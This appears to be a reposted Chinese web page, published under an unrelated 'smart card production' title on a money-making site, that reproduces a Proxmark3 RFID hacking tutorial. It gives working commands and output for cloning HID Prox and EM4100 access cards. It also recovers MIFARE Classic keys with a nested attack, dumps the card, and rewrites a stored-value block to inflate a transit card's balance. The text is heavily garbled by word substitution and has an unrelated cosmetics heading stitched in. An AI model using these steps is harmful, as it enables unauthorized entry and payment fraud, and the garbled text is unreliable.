智能卡制作流程,史上最全智能卡制作流程步骤图,可靠 网赚项目

随着智能装备NFC功效的普及,用RFID卡支付现金的模式也越加盛行。现在的非接触式卡片(包罗但不限于社保卡、饭卡、交通卡、门禁卡等)都是使用的RFID手艺。

这么看来射频识别手艺(RFID)是一个应用相当普遍的手艺,智能卡通常会被做成小钥匙扣、卡片以及贴纸的样子。你可以在许多差别的系统装备中看到它泛起的影子,而且往往都是与取款以及门禁系统有关。我对无线手艺十分感兴趣,尤其对射频识别手艺系统感兴趣,以是当我研究HID iClass系统时,我就入手了一个proxmark3。

proxmark3

Proxmark3是由Jonathan Westhues设计开发的开源硬件,其主要用途是实现RFID的嗅探、读取以及克隆等等操作。Proxmark3主要是针对RFID而开发的工具,虽然也有一些其它的工具,但Proxmark3属于主流工具。它可以嗅探、模拟以及读取多种差别种类型的RFID,同时它还有一个官方社区,这里有不少同样的爱好者在内里学习交流。


精品大牛DIY 智能卡破解入门二三事

购置Proxmark

在Proxmark官网上已经列出了一些供应商,你可以在内里选择一个供应商举行购置。我购置了Proxmark RDV2,它虽不是开源版本,但却是在初始版本的改进版。值得注重的是,我购置的版本更小巧,同时可以用电池对装备供电,支持MMCX,而非USB接口。


精品大牛DIY 智能卡破解入门二三事

固然你也可以在差别的网站购置装备,你可以去美国网站Rysc Corp上购置,或就近在香港购置,但需要248美元,若是Rysc Corp上购置则需要299美元(不含运费)。而实际上我在购置Proxmark RDV2基本上也就需要212.00美元,美国运送用度为36.30美元(随运送距离差别用度也会越高),合计为248.30美元。

若是你仔细研究会发现,通过AliExpress网站购置,可以省下一大笔钱,破费在190美元(包邮),就性价比来说,甚至比“Proxmark 3 Easy”更廉价。


精品大牛DIY 智能卡破解入门二三事

PM3 Easy是Proxmark系列中相对较廉价的版本,售价约为100美元,但却阉割了一些功效,这个版本仅针对中国国内市场的版本,因此删除了一些功效,删掉的功效如下:

AT91SAM7S256(内存256kb)

移除锂电池治理和插座模块

阉割了一些电子元器件,如继电器和信号放大器

可使用差别的天线毗邻功效

想领会更多相关内容可以接见Proxmark官方论坛

总的来说,Proxmark 3的原始版本设计已经过时,你应该使用新版本的硬件设计。

Proxmark 3设置

在硬件方面,凭据你详细使用Proxmark 3(以下简称PM3)型号的差别,设置方式也大不相同。原始版本PM3外接USB天线,你可以随意插拔,但在RDV2上就不能这样操作,首先你必须要毗邻MMCX,之后才可以使用RDV2,就相当于你需要将这一块加入主体,即将天线模块安装进主板中。我没有这样做,而是用胶将MMCX以及天线粘黏到板子上。

完成上部门操作之后,你就可以根据PM3说明文档举行设置固件,据我领会可知,Proxmarks很它使用相同的固件,因此在软件设置及操作上不会有太大区别。

我下面的设置并没有涉及完整的软件设置,我做到的也仅仅是说明中的一部门。在某些时刻,出于性能上的思量,PM3会将USB接口转化为串行接口,同时使用串行接口可以解决在虚拟机中运行问题。

若是你决定在虚拟机举行操作,那么在Linux会上运行会比Windows更好一些,这一点上我不会做出太多说明,但我在后面文章中使用PM3用户界面时,显著效果更好一些。我在虚拟机中安装Windows 7,或可将GUI(Linux)作为PM3用户界面。总的来说,烧写PM3固件可能是一个烦人的历程,但你真的需要做那么一两次。

RFID手艺

在美国有许多常见的RFID认证手艺,我下面枚举在一样平常生涯参见的四个:

HID iClass(13.56 MHz)

HID Prox 卡(125 kHz)

EM4100x卡(125 kHz)

MIFARE Classic(13.56 MHz)

我将详述最后三部门,同时我在下文也会先容若何读/写iClass卡。

对于一些不清晰的RFID 电子标签以及RFID卡,我们将实验克隆/修改每个标签的内容。首先我们需要弄清晰每张卡片背后的手艺是什么。 一样平常来说,您可以搜集序列号,制造商信息和数据表单信息,然后通过网络查询研究这些信息。PM3可以可以使用指令 lf search、hf search查询,这两个下令将分别在低频(125 kHz)和高频(13.56 MHz)范围内搜索可用电子标签。

HID ProxCard

我们来看看更受欢迎的HID ProxCard


精品大牛DIY 智能卡破解入门二三事

在卡的正面有一些数字以及单词(HID Proximity),若是你去网上搜索,你可以发现这是一张HID Prox 卡,可以通过Proxmark指令克隆一张卡。

我们可以使用lf search指令搜索前文提到的电子标签

proxmark3> lf search 
#db# DownloadFPGA(len: 42096)Reading 30000 bytes from device memory
Data fetched
Samples @ 8 bits/smpl, decimation 1:1 NOTE: some demods output possible binary
if it finds something that looks like a tagFalse Positives ARE possible
Checking for known tags:
HID Prox TAG ID: 2004263f88 (8132) - Format Len: 26bit - FC: 19 - Card: 8132 Valid HID Prox ID Found!

我们很清晰这是一张Prox 卡,若是需要将当前卡系统从 HID Prox 升级到 HID iCLASS 凭证,就需要特殊指令,我们现在已经知道标签ID(2004263f88),但我可以输入lf hid fskdemod指令读取智能卡(按下PM3上的按钮住手扫描)

proxmark3> lf hid fskdemod 
#db# TAG ID: 2004263f88 (8132) - Format Len: 26bit - FC: 19 - Card: 8132 #db# Stopped

该ID标签(19)以及卡ID(8132)的编码,你可以在线使用韦根协议(26位)计算器检查一下。这就意味着你需要领会数据并克隆到卡上(写入到卡自己)。

大多数低频电子标签没有任何庞大的认证方案或任何防止重放攻击的珍爱,以是扫描现有的智能卡,并克隆一张,并不是一件难事。使用高功率读卡器,可以在距离较远的位置窃取RFID电子标签。

我现在已经知道标签ID,现在需要一张空缺的RFID卡,我们可以克隆标签ID。最好是t5577卡,它可以复制多种低频智能卡,包罗这里讨论的两个(HID Prox 卡,EM41000卡)。


精品大牛DIY 智能卡破解入门二三事

我已经领会到标签ID,那么就可以很轻松的克隆一张卡

proxmark3> lf hid clone 2004263f88 
Cloning tag with ID 2004263f88
#db# DONE!

现在T5577卡电子标签应该与被克隆卡标签一致,乐成了!!

除了读写操作之外,PM3还能够模拟RFID电子标签,但可能没有你想象的那么直观,你需要将计算机毗邻到PM3上,并执行一些指令,这对渗透测试者有辅助,但读写操作适用于绝大多数使用者。

EM4100

EM4100卡不像HID Prox 卡那样常见,但不代表它不会泛起,PM3功效同样适用于它。


精品大牛DIY 智能卡破解入门二三事

我们继续使用lf搜索下令

proxmark3> lf search 
#db# DownloadFPGA(len: 42096)Reading 30000 bytes from device memory
Data fetched
Samples @ 8 bits/smpl, decimation 1:1 NOTE: some demods output possible binary
if it finds something that looks like a tagFalse Positives ARE possible
Checking for known tags:
EM410x pattern found:
EM TAG ID : 8800180E55 Unique TAG ID : 11001870AA
Possible de-scramble patterns
HoneyWell IdentKey {
DEZ 8 : 01576533 DEZ 10 : 0001576533 DEZ 5.5 : 00024.03669 DEZ 3.5A : 136.03669 DEZ 3.5B : 000.03669 DEZ 3.5C : 024.03669 DEZ 14/IK2 : 00584117128789 DEZ 15/IK3 : 000073016045738 DEZ 20/ZK : 01010000010807001010 }
Other : 03669_024_01576533
Pattern Paxton : 2284604501 [0x882C4C55]
Pattern 1 : 4457436 [0x4403DC]
Pattern Sebury : 3669 24 1576533 [0xE55 0x18 0x180E55]
Valid EM410x ID Found!

这是一张EM4100卡,我可以使用更多的EM4100 RFID指令,读取标签ID

proxmark3> lf em4x em410xdemod 1#db# DownloadFPGA(len: 42096)#db# EM TAG ID: 8800180e55 - (03669_024_01576533)

获取标签ID之后,写入到一张T5577卡中

proxmark3> lf em4x em410xwrite 8800180e55 1 Writing T55x7 tag with UID 0x8800180e55 (clock rate: 64)#db# Started writing T55x7 tag ...#db# Clock rate: 64#db# Tag T55x7 written with 0xffc62000e20ea94e

大多数低频RFID电子标签破解适用于刚入门的新手,你仅需要领会读/写/克隆/仿真的玩法。

美宝莲修容棒好用吗(4支人气修容棒对比评测 )

接下来,我们将看看一张更庞大但最终被破解的智能卡,MIFARE Classic协议的NFC卡(以下简称MIFARE卡)。

MIFARE Classic

NFCA协议是兼容MifareClassic 协议的, 我们可以通过NfcA在android的相关类来处置给予MifareClassic 的RFID卡。MIFARE 卡应用很普遍,它应用的领域也大不相同,如公交卡、干洗店洗衣卡、身份证,很不幸的一点就是,这样的卡也会被破解。

一样平常来说,给予MifareClassic的射频卡,一样平常内存大小有3种:

1K: 16个分区(sector),每个分区4个块(block),每个块(block) 16个byte数据

2K: 32个分区,每个分区4个块(block),每个块(block) 16个byte数据

4K:64个分区,每个分区4个块(block),每个块(block) 16个byte数据

对于所有基于MifareClassic的卡来说,每个区最后一个块叫Trailer,16个byte, 主要来存放读写该区的key,可以有A,B两个KEY,每个key长6byte,默认的key一样平常是FF 或 0,最后一个块的内存结构如下:

Block 0 Data 16bytes

Block 1 Data 16 bytes

Block 2 Data 16 bytes

Block 3 Trailer 16 bytes

Trailer:

Key A: 6 bytes

Access Conditions: 4 bytes

Key B: 6 bytes

以是在写卡的内存的时刻,一样平常不能写每个sector的最后一个block,除非你有要修改KEY和接见权限的需求。若是KEY A 被你不小心修改掉了,而你不知道修改成什么,那与之对应的谁人sector你就没有办法接见了。由于在MifareClassic中,若是你要读取数据,那么必须要有这个数据地址所在的sector的权限,这个权限就是这个sector的trailer的keyA或KEY B。下面我们将使用高频天线来读取高频MIFARE卡。


精品大牛DIY 智能卡破解入门二三事

我开始使用hf指令搜索并识别MIFARE卡


精品大牛DIY 智能卡破解入门二三事
proxmark3> hf search 
#db# DownloadFPGA(len: 42096)
UID : bc 4e a5 35ATQA : 00 04
SAK : 08 [2]
TYPE : NXP MIFARE CLASSIC 1k | Plus 2k SL1
proprietary non iso14443-4 card found, RATS not supported
Answers to chinese magic backdoor commands: NO Valid ISO14443A Tag Found - Quitting Search

不幸的是,MIFARE卡不像之前的低频卡克隆那样容易,它行使简朴的认证方式,阻止我们克隆UID。虽然我们可以从卡中读取某些块,然则由于“认证错误”,其它块并不可用:

乐成读取

proxmark3> hf mf rdbl 0 A FFFFFFFFFFFF --block no:0, key type:A, key:ff ff ff ff ff ff #db# READ BLOCK FINISHED isOk:01 data:01 02 03 04 04 08 04 00 00 00 00 00 00 00 00 00

失败读取

proxmark3> hf mf rdbl 5 A FFFFFFFFFFFF --block no:5, key type:A, key:ff ff ff ff ff ff #db# Authentication failed. Card timeout. 
#db# Auth error #db# READ BLOCK FINISHED isOk:00

早先发现这个问题,我觉得很新鲜,但很快发现前文提到的key,这是我在网上找到的资料。MIFARE Classic 1K射频卡有1024字节可储存数据,同时分为分为16个扇区,每个扇区由两个差别的key珍爱(前文说明的A,B),出于某种原因,一些MIFARE卡仅使用默认key,这样就造成可以行使应用程序测试key,并针对卡举行测试。

PM3具有“测试key(块)”指令,它将测试我们的默认key。

proxmark3> hf mf chk * ? 
No key specified, trying default keys chk default key[ 0] ffffffffffff chk default key[ 1] 000000000000
chk default key[ 2] a0a1a2a3a4a5 chk default key[ 3] b0b1b2b3b4b5 chk default key[ 4] aabbccddeeff chk default key[ 5] 4d3a99c351dd chk default key[ 6] 1a982c7e459a chk default key[ 7] d3f7d3f7d3f7 chk default key[ 8] 714c5c886e97 chk default key[ 9] 587ee5f9350f chk default key[10] a0478cc39091 chk default key[11] 533cb6c723f6 chk default key[12] 8fd0a4f256e9 --sector: 0, block: 3, key type:A, key count:13Found valid key:[ffffffffffff] ...omitted for brevity...--sector:15, block: 63, key type:B, key count:13Found valid key:[ffffffffffff]

我可以使用默认key(ffffffffffff)读取大多数块,但有些没有包罗在内。我可以使用“Nested攻击”,我们可以使用我们的一个可用的key来识别其它块的key。

proxmark3> hf mf nested 1 0 A ffffffffffff d 
Testing known keys. Sector count=16
nested...
-----------------------------------------------uid:bc4ea535 trgbl=4 trgkey=0
Found valid key:080808080808
-----------------------------------------------uid:bc4ea535 trgbl=8 trgkey=0
Found valid key:080808080808
Time in nested: 7.832 (3.916 sec per key)
-----------------------------------------------Iterations count: 2
|---|----------------|---|----------------|---|
|sec|key A |res|key B |res|
|---|----------------|---|----------------|---|
|000| ffffffffffff | 1 | ffffffffffff | 1 |
|001| 080808080808 | 1 | ffffffffffff | 1 |
|002| 080808080808 | 1 | ffffffffffff | 1 |
|003| ffffffffffff | 1 | ffffffffffff | 1 |
|004| ffffffffffff | 1 | ffffffffffff | 1 |
|005| ffffffffffff | 1 | ffffffffffff | 1 |
|006| ffffffffffff | 1 | ffffffffffff | 1 |
|007| ffffffffffff | 1 | ffffffffffff | 1 |
|008| ffffffffffff | 1 | ffffffffffff | 1 |
|009| ffffffffffff | 1 | ffffffffffff | 1 |
|010| ffffffffffff | 1 | ffffffffffff | 1 |
|011| ffffffffffff | 1 | ffffffffffff | 1 |
|012| ffffffffffff | 1 | ffffffffffff | 1 |
|013| ffffffffffff | 1 | ffffffffffff | 1 |
|014| ffffffffffff | 1 | ffffffffffff | 1 |
|015| ffffffffffff | 1 | ffffffffffff | 1 |
|---|----------------|---|----------------|---|
Printing keys to binary file dumpkeys.bin...

注重:在早期Nested 攻击下令中,输入d(参数)将key转储到dumpkeys.bin文件,才能够保证继续使用 MIFARE卡其它指令。现在我们有一个新key,080808080808。该key允许我们读取隐藏块。

proxmark3> hf mf rdbl 5 A 080808080808 
--block no:5, key type:A, key:08 08 08 08 08 08
#db# READ BLOCK FINISHED isOk:01 data:00 0a 00 00 ff f5 ff ff 00 0a 00 00 05 fa 05 fa

dumpkeys.bin文件已经准备好,我们可以转储整个卡的数据,并将其写入到空缺的MIFARE卡上。

proxmark3> hf mf dump 1 |-----------------------------------------|
|------ Reading sector access bits...-----|
|-----------------------------------------|#db# READ BLOCK FINISHED...omitted for brevity...#db# READ BLOCK FINISHED|-----------------------------------------|
|----- Dumping all blocks to file... -----|
|-----------------------------------------|#db# READ BLOCK FINISHEDSuccessfully read block 0 of sector 0.
...omitted for brevity...
Successfully read block 3 of sector 15.
Dumped 64 blocks (1024 bytes) to file dumpdata.bin

借助dumpdata.bin文件,我们可以将此卡的内容还原到另一张卡上,输入下令:hf mf restore 1,然而,克隆一张MIFARE卡效率照样很低(totem pole),使用新key,我就可以读写一张空缺卡,这种卡通常被作为车票卡,一些人可能会想到是否可以修改内里的金额。先来看看卡中部门转存数据

bc4e a535 6288 0400 8500 b42e f0bb 6aa8 
0000 0000 0000 0000 0000 0000 0000 0000 0000 0000 0000 0000 0000 0000 0000 0000 ffff ffff ffff ff07 8069 ffff ffff ffff
4f54 4f54 0050 0082 0136 000b 0000 0000 4b07 0000 b4f8 ffff 4b07 0000 05fa 05fa
0000 0000 0101 0000 0000 0001 0100 0000

获得的数据不能剖析,再次重复以上步骤,然后查看数据

bc4e a535 6288 0400 8500 b42e f0bb 6aa8 
0000 0000 0000 0000 0000 0000 0000 0000 0000 0000 0000 0000 0000 0000 0000 0000 ffff ffff ffff ff07 8069 ffff ffff ffff
4f54 4f54 0050 0082 0136 000b 0000 0000 3205 0000 cdfa ffff 3205 0000 05fa 05fa
0000 0000 0101 0000 0000 0001 0100 0000

其中一行数据由

4b07 0000 b4f8 ffff 4b07 0000 05fa 05fa

变为

3205 0000 cdfa ffff 3205 0000 05fa 05fa

那时虽然没有马上看明了这行数据意思,但已经明了卡上一定存在一个可以转变的数值,最简朴的一个假设是,卡正在存储金额,然后扣去买卖额。我们的起始价值(7.75),一个项目的开支成本(2.25)和差值(5.50)。

我们可以将这些数据转为16进制,为了简化搜索,我们只需75,将其转换为十六进制(0x4b),然后搜索第一个转储数据值:

4b07 0000 b4f8 ffff 4b07 0000 05fa 05fa

这样我就发现了卡存储金额的部门了,特别是思量到以下字节0×07。因此,我们应该能够通过修改这些字节来增添我们卡的金额。

你可以不需要明白字节的详细寄义,它们并不重复,在前面两次转储数据,可以看出没有什么纪律,这一点上需要小心谨慎,用ffff(前文)替换我们的金额数值,仅需要重新将获取的数据写入智能卡中。

注重:有人指出其中两个数值b4f8和4b07加起来是ffff,实在这是校验和的数值,读卡者可以行使这个来确认卡的金额是否在买卖完成后更新。

我已经将卡中数值更改到17.50,我们可以接纳新的转储数据并保留第5块的效果(存储值)。

Block 0: bc4e a535 6288 0400 8500 b42e f0bb 6aa8 
Block 1: 0000 0000 0000 0000 0000 0000 0000 0000 Block 2: 0000 0000 0000 0000 0000 0000 0000 0000 Block 3: ffff ffff ffff ff07 8069 ffff ffff ffff
Block 4: 4f54 4f54 0050 0082 0136 000b 0000 0000 Block 5: 3211 0000 cdee ffff 3211 0000 05fa 05fa
Block 6: 0000 0000 0101 0000 0000 0001 0100 0000

现在我们可以无限制将卡中数值更改到17.50。

写入(块)

proxmark3> hf mf wrbl 5 A 080808080808 32110000cdeeffff3211000005fa05fa --block no:5, key type:A, key:08 08 08 08 08 08 
--data: 32 11 00 00 cd ee ff ff 32 11 00 00 05 fa 05 fa #db# WRITE BLOCK FINISHED isOk:01

读出(块)

proxmark3> hf mf rdbl 5 A 080808080808 
--block no:5, key type:A, key:08 08 08 08 08 08
#db# READ BLOCK FINISHED isOk:01 data:32 11 00 00 cd ee ff ff 32 11 00 00 05 fa 05 fa

纵然没有使用默认key,我们也可以嗅探真实的读卡器和卡之间的通信协议,并获取要害key。只要我们知道一个现有的key,我们就可以行使前文提到的nested攻击识别其它key来获取对该卡的读/写接见。

客服微信:( 181628402)本文链接: https://www.n5w.com/267025.html

智能卡制作流程,史上最全智能卡制作流程步骤图,可靠 网赚项目

版权声明:本文内容由互联网用户自觉孝敬,该文看法仅代表作者本人。本站仅提供信息存储空间服务,不拥有所有权,不负担相关法律责任。如发现本站有涉嫌剽窃侵权/违法违规的内容, 请发送邮件至 394062665@qq.com 举报,一经查实,本站将马上删除。

本文来源于自互联网,不代表n5网立场,侵删。发布者:虚拟资源中心,转载请注明出处:https://www.n5w.com/282194.html

(0)
打赏 微信扫一扫 微信扫一扫
虚拟资源中心虚拟资源中心网络小白
上一篇 2020年7月22日 19:56
下一篇 2020年7月22日 19:56

相关推荐

联系我们

电话:

在线咨询:点击这里给我发消息

邮件:@qq.com

工作时间:周一至周五,9:30-18:30,节假日休息

公众号